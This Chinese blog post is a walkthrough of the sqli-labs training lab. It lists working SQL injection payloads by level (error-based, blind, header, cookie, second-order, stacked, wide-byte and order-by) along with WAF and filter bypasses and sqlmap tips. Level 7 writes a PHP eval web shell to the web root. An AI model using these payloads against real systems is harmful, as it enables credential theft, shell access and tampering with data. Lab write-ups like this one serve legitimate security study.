sql-lab记录

参考示例:
database——security
table——users
columns——username、password
在这里插入图片描述

databases

在这里插入图片描述

tables

在这里插入图片描述

columns

level5-报错注入

(1). 通过floor报错
http://192.168.171.13/sqli/Less-5/?id=1’ union select 1,count(*),concat(0x7e,(select group_concat(distinct column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),0x7e,floor(rand(0)*2000))x from information_schema.columns group by x–+
关键:floor(), rand()*2, concat, group_concat();
注意union select需要与列数对应
其中payload为你要插入的SQL语句
需要注意的是该语句将 输出字符长度限制为64个字符

(2). 通过updatexml报错
http://192.168.171.13/sqli/Less-5/?id=1’ and updatexml(1,concat(0x7e,(select group_concat(distinct column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),0x7e),“aa”)–+
关键:updatexml(1,payload,1)【函数中的1可为任意值或任意字符串(字符串需要含双引号或单引号)】
同样该语句对输出的字符长度也做了限制,其最长输出32位
并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效

(3). 通过ExtractValue报错
http://192.168.171.13/sqli/Less-5/?id=1’ and extractvalue(1,concat(0x7e,(select group_concat(distinct column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),0x7e))–+
关键:extractvalue(1,payload)【函数中的1可为任意值或任意字符串(字符串需要含双引号或单引号)】
输出字符有长度限制,最长32位。
在这里插入图片描述

updatexml、ExtractValue

level7-写文件、单引号、双括号

不同版本的mysql可能不同,有些secure_file_priv= 默认为空,有些没有secure***选项【没有同null,均不可写入;可以自己在my.ini添加,注意重启服务】
##null或没有secure选项:
在这里插入图片描述

图:报错,无法写入

##空值情况:
在这里插入图片描述

图:修改值为空值

http://192.168.1.7/sqli/Less-7/?id=1')) union select 1,2,'<?php @eval($_POST[1]);?>' into outfile 'less7-1.php'--+

在这里插入图片描述

图:当前路径
当前路径下写入,都是在mysql\data\security下,但是不同服务器,mysql的上下级目录都可能不同【mysql路径下的写入,无法利用,web限制了其根目录为www{不同服务器可能不同,但web的根目录与数据库的必然分开}】,所以一定要写入到web目录下才可以利用。

错误相对路径:http://192.168.1.7/sqli/Less-7/?id=1')) union select 1,2,'<?php @eval($_POST[1]);?>' into outfile '../../www/less7-1.php'--+

在这里插入图片描述

图:错误路径下的报错【相对路径下没有www目录】
空值下,相对路径错误,会爆出完整的错误路径,有助于重新构造路径
windows下,路径不区分大小写。www与WWW相同

正确相对路径: http://192.168.1.7/sqli/Less-7/?id=1')) union select 1,2,'<?php @eval($_POST[1]);?>' into outfile '../../../www/less7-1.php'--+

在这里插入图片描述

图:即使显示错误,但已成功写入

可以尝试重复写入,会有相应提示【但一般真实站点不会出现这种失误,会做相应的错误处理】

在这里插入图片描述

图:提示文件已存在
空值下,相对路径只要正确,就可以成功写入。任何空值可以写入的情况下,绝对路径都一定可以。

绝对路径:http://192.168.1.7/sqli/Less-7/?id=1’)) union select 1,2,’<?php @eval($_POST[1]);?>’ into outfile ‘/less7-1.php’–+
在这里插入图片描述

图:成功在磁盘根目录下写入



##根路径情况
效果同上,这里的根目录实际是数据库的。只能构造相对路径,或者使用绝对路径写入。
直接www目录会报错,phpstudy无法设置

level8-单引号、布尔盲注

http://192.168.2.13/sqli/Less-8/?id=1’ and (length(database()))>10 --+
【二分法判断】
http://192.168.2.13/sqli/Less-8/?id=1’ and ascii(substr((select database()),1,1))=115+ --+【索引从前1开始(str, ind【此处爆破设为8 {security}】, 1固定),ascii关键位置48{1}, 65{A}, 97{a}】
布尔只有true和false,对应两种页面

盲注需要掌握一些MySQL的相关函数:
length(str):返回str字符串的长度。
substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len):跟上面的一样,截取字符串
ascii(str):返回字符串str的最左面字符的ASCII代码值。
ord(str):同上,返回ascii码
LEFT(str,len):返回字符串str的最左面len个字符
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0

level9-单引号、时间盲注

/sqli/Less-9/?id=1’+and+if(ascii(substr(database(),1,1))>0,sleep(5),0)–+ [true则选择sleep,false选0,substr从1开始]

?id=1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 3,1),1,1))=101,0,sleep(5))–+【limit从0开始 start, end,加粗为需要爆破部分】

或者:?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 3,1),1,1))=101 and sleep(2)–+

只有1种显示,无法通过显示判断单、双引号,只能尝试是否存在时间盲注
【burp爆破:
在这里插入图片描述
在这里插入图片描述

图:爆破结果中需要设置显示列
如果网络本身就不太稳定或响应时间较长,可以稍稍设长一点时间,区分网络不稳定等特殊情况



level11-post、单引号、可显注入

uname=admin’ order by 2#&passwd=1&submit=Submit
【二分法】
uname=-qing’ union select 1, GROUP_CONCAT(schema_name) FROM information_schema.schemata##&passwd=1&submit=Submit//爆全部数据库

uname=-qing’ union select database(),group_concat(distinct table_name) from information_schema.columns where table_schema=‘security’#
组合函数:
group_concat()
concat()
concat_ws()
【注意:如果服务器过滤了空格,需要将空格改为+,get请求可以直接修改,post请求不可以,必须在burp中修改,否则+号会被浏览器进行url编码
post注入用sqlmap时一定要用-r或者–data、–forms等方式表明post注入,否则无法成功;
-r对应的文件,建议是包含表单提交的数据,如果数据为空,sqlmap可能出错】

level13-post、单引号、双注入

双注报错原理在group by执行原理,group by 在执行的时候会生成一张虚拟表,而group by后面的key就是这张表的主键

因为使用rand()*2作为排序条件,那么在查询是生成的key为0,检测虚拟表无重复,再插入的时候有生成1,插入表中时主键冲突就会报出错误。并且表现为不一定是每次都报错

uname= qing’) or 1=1 – +&passwd=1&submit=Submit
uname= qing’) or (‘1’)=('1 &passwd= ') or (‘1’)=('1 &submit=Submit 【注意这里不用注释的payload的构造】

uname= qing’) union select count(*),concat(0x7e,(select database()),0x7e,version(), 0x7e, user(), 0x7e, floor(rand()*20000)) as qing from information_schema.tables group by qing # &passwd= ') or 1=1 # &submit=Submit 【当前数据库、版本、用户】

uname= qing’) union select count(*),concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),0x7e,floor(rand(0)*2000))x from information_schema.columns group by x # &passwd= ') or 1=1 # &submit=Submit【字段名】

level19-http头部注入

qing’ or updatexml(1,concat(0x7e,(database()),0x7e),0) or ’
在这里插入图片描述

referer注入
注意:lever>=3才会去检查user-agent头是否存在注入漏洞。
http头部和普通注入差不多,只不过注入位置不一样。一般来说,页面不容易看出(有时候有p记录、user-agent之类的可能存在,不过建议直接sqlmap尝试; 常见位置:【Referer】、【X-Forwarded-For】、【Cookie】、【X-Real-IP】、【Accept-Language】、【Authorization】

level20-post、cookie、回显注入

Cookie: uname=’ union select 1,database(),6 or 1=1 #;
【sqlmap跑时需要注意level要在2以上,真实网站测试时,不建议设置太高进程,可能跑崩服务器】

常见绕过:

删除构造:通过代码删除机制,构造删除后可以使用的语句
无关混淆:在代码前后添加一些无关紧要的东西,因为代码机制原因,只识别从某部分开始的代码,所以添加的东西并不影响代码执行,但会混淆恶意代码检测机制
大小写
进制转换


level21-post、cookie、回显注入、base64编码

Cookie: uname=JykgdW5pb24gc2VsZWN0IDEsZGF0YWJhc2UoKSwzICM=【’) union select 1,database(),3 #的base64编码】
注意:这里有点奇怪,类似上一关,但是上一关在sqlmap下没有太大问题,这里就总是会报错。【猜测可能是因为没有进行编码,无法检测是什么注入,所以进行了大量尝试,导致服务器出错{cgi报错}】;
还有,这里uname后面的值建议为空,其他值很多会报错{同样是fastcgi报错}【不太清楚什么原因】
在这里插入图片描述

cgi报错

level22-闭合为双引号、参考上关

level23-get请求、过滤注释符

http://192.168.171.13/sqli/Less-23/?id=qing’ union select 1,group_concat(username),group_concat(password) from users where 1 or ‘1’ = ’
sqlmap可以跑出来

level24-二次注入

login.php、login_create.php:
在这里插入图片描述

转义函数

在这里插入图片描述

受影响字符
发现输入进行了mysql_real_escape_string()函数转义,单引号是不能用了。此函数在创建用户时有使用,主要是为了转义特殊字符,使特殊字符在sql语句中失效,从而成功将特殊字符写入数据库,所以admin'#可以成功写入数据库。登录时也有此函数,这就导致万能密码不可用,必须要有带有这些特殊字符的真正用户才可以登录。但是在进入更新密码页面后,没有此函数,所以可以通过admin'#成功修改admin的密码{admin' or 1#可以一次性修改所有用户的密码。}

在这里插入图片描述

一次性修改所有用户密码
注意:在真实站点中,不要随便修改数据库,即使修改也只能在自己新建的用户上修改。

level25-字符过滤

参考源码:

function blacklist($id){
    $id= preg_replace('/or/i',"", $id);
    $id= preg_replace('/AND/i',"", $id);
    return $id;
}

双写绕过
http://sqli-qing.cn/sqli/Less-25/?id=1’ oorr ‘1’='1

http://sqli-qing.cn/sqli/Less-25/?id=qing’ union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema=‘security’ --+

sqlmap可以

level26-字符过滤

参考源码:

function blacklist($id) {
    $id= preg_replace('/or/i',"", $id);            //strip out OR (non case sensitive)
    $id= preg_replace('/and/i',"", $id);        //Strip out AND (non case sensitive)
    $id= preg_replace('/[\/\*]/',"", $id);        //strip out /*
    $id= preg_replace('/[--]/',"", $id);        //Strip out --
    $id= preg_replace('/[#]/',"", $id);            //Strip out #
    $id= preg_replace('/[\s]/',"", $id);        //Strip out spaces
    $id= preg_replace('/[\/\\\\]/',"", $id);        //Strip out slashes
    return $id;
}
payload
qing'%A0union%A0select%A01,group_concat(username),group_concat(passwoorrd)%A0from%A0security%2Eusers%A0where%A01%A0%26%26%a0'1

%A0替代空格 &&替换and 注意url编码 未成功,网上说需要linux

http://192.168.1.103/sqli/Less-26/?id='||extractvalue(1,concat('$',(select(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))))||'

windows下可绕过
sqlmap跑不出来

preg_replace的几种模式匹配:
\ w匹配一个“单词”字符(字母数字加“ _”)
\ W匹配非单词字符
\ s匹配空白字符
\ S匹配非空格字符
\ d匹配数字字符
\ D匹配一个非数字字符
\ b匹配单词边界
\ B匹配非(单词边界)
\ A仅在字符串开头匹配
\ Z仅在字符串末尾或换行符末尾匹配
\ z仅在字符串末尾匹配
\ G仅在上一个m // g停止的地方匹配(仅适用于/ g)

level27-字符过滤

26基础上,大写select某字符绕过

level29-waf、http参数污染

源代码
if(isset($_GET['id']))
{
	$qs = $_SERVER['QUERY_STRING'];
	$hint=$qs;
	$id1=java_implimentation($qs);#多个参数时,只能取到第一个参数的值
	$id=$_GET['id'];
	// echo $id1;
	whitelist($id1);

function whitelist($input)
{
	$match = preg_match("/^\d+$/", $input);
http://192.168.1.103/sqli/Less-29/login.php?id=1&id=' union select 1,2,3--+

显示的是id=2的内容 但是waf检测的是前面id=1的内容,故第二个id可注入

注意:
此题需要指明login.php,题目只有这里做了限制,默认的index.php没有限制

level30-waf、http参数污染、双引号

http://192.168.1.103/sqli/Less-30/login.php?id=1&id="union select 1,2,3--+

level32-宽字节注入

源码
mysql_query("SET NAMES gbk");

http://192.168.1.103/sqli/Less-32/?id=-1%df’ UNion seleCt 1,2,DATABASE()–+
gbk下,单引号会被转义为’,而%df可以融合\,从而使单引号逃逸出来,成功注入。

从%81到%fe都是符合的。

测试脚本:
import requests
url1 = "http://127.0.0.1:81/Less-32/?id=1"
url2 = "'"
urlcode=[]
code="1234567890abcdef"
for word1 in code:
    for word2 in code:
        urlcode.append("%"+str(word1)+str(word2))
print(len(urlcode))

for word3 in urlcode:
    url=url1+word3+url2
    res = requests.get(url=url)
    if 'error' in res.content.decode("utf-8", "ignore"):
        print(word3)

sqlmap+tamper (unmagicquotes)可以跑出来

level35-addslash绕过

function check_addslashes($string)
{
    $string = addslashes($string);
    return $string;
}

如果addslash在gbk下,同32思路可绕过
但此关的sql语句中的$id没有在单引号中(即不作为字符串处理),所以实际上这里的\并不能起到转义作用,所以这里不需要构造单引号闭合,直接union就可以查询了。

level38-堆叠注入

源码
if (mysqli_multi_query($con1, $sql))

http://192.168.171.13/sqli/Less-38/?id=-1’ union select 1,2,database();insert into users values(18,‘zhong’,‘zhong’)–+
可以通过分号构造多条sql语句进行查询
堆叠注入介绍

level46-order by注入

通过asc 和desc查看返回数据是否相同来简单判断是否存在order by注入

payload
报错注入:http://192.168.171.13/sqli/Less-46/?sort=1 and(updatexml(1,concat(0x7e,(select database())),0));
时间盲注:http://192.168.171.13/sqli/Less-46/?sort=1 and If(ascii(substr(database(),1,1))<115,0,sleep (2))【这里有点奇怪,sleep的时间不可控,会很长,但bool不是sleep时,可以正常响应,所以同样可以利用】

sqlmap可以跑出来

后面几关以后再作补充。

思考角度:

优先考虑写入文件,如果可以,能够直接getshell
联合注入:有位置回显【建议前面的值为空,有时候即使是不存在的值,也会导致服务器出错,比如less21】
报错注入:有报错回显
布尔注入:页面状态变化
时间注入:页面状态无变化,sleep函数有效
http头部注入:和上面注入差不多,只不过位置不一样,页面比较难观察,建议直接用sqlmap检测,且level设置为5

tamper

unmagicquotes: addslah()、mysql_real_escape_string()都会将单引号等字符转义,gbk下可通过宽字节绕过。如果sql语句中的查询id没有单引号包括,则\失效,可以随意构造查询语句。上述所有情形,sqlmap都可以在此tamper跑出来。

注意:
爆数据时最好通过group_concat()进行多数据爆破,如果不行就用limit来逐一爆数据;
sqlmap卡住时,可以考虑降低threads和risk重新尝试
实际上,sqlmap同样是通过爆破跑出来的,所以基础sqlmap可以注入的几种类型,可以推测出是否可以用sqlmap注入,而且要好好利用tamper绕过各种waf。高级玩法可以同自己写的脚本结合使用。

手工注入步骤:
找出注入点
判断闭合符号
二分法判断列数(order by)
判断注入类型
[二分法判断需要爆的数据的长度]
数据库名
数据库版本
数据库权限
表名
字段名
数据
有限制则尝试绕过

1-65通关参考1
1-65通关参考2
1-35通关参考
sqlmap注入参考
常见绕过1
常见绕过2
url编码基础
tamper简介
tamper分类

本博客由自己实验,并参考部分博文写成。如有作者觉得侵权,请联系本人删除。
有些东西只是自己的猜测,如果有不正确的地方,欢迎各位大佬指正。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值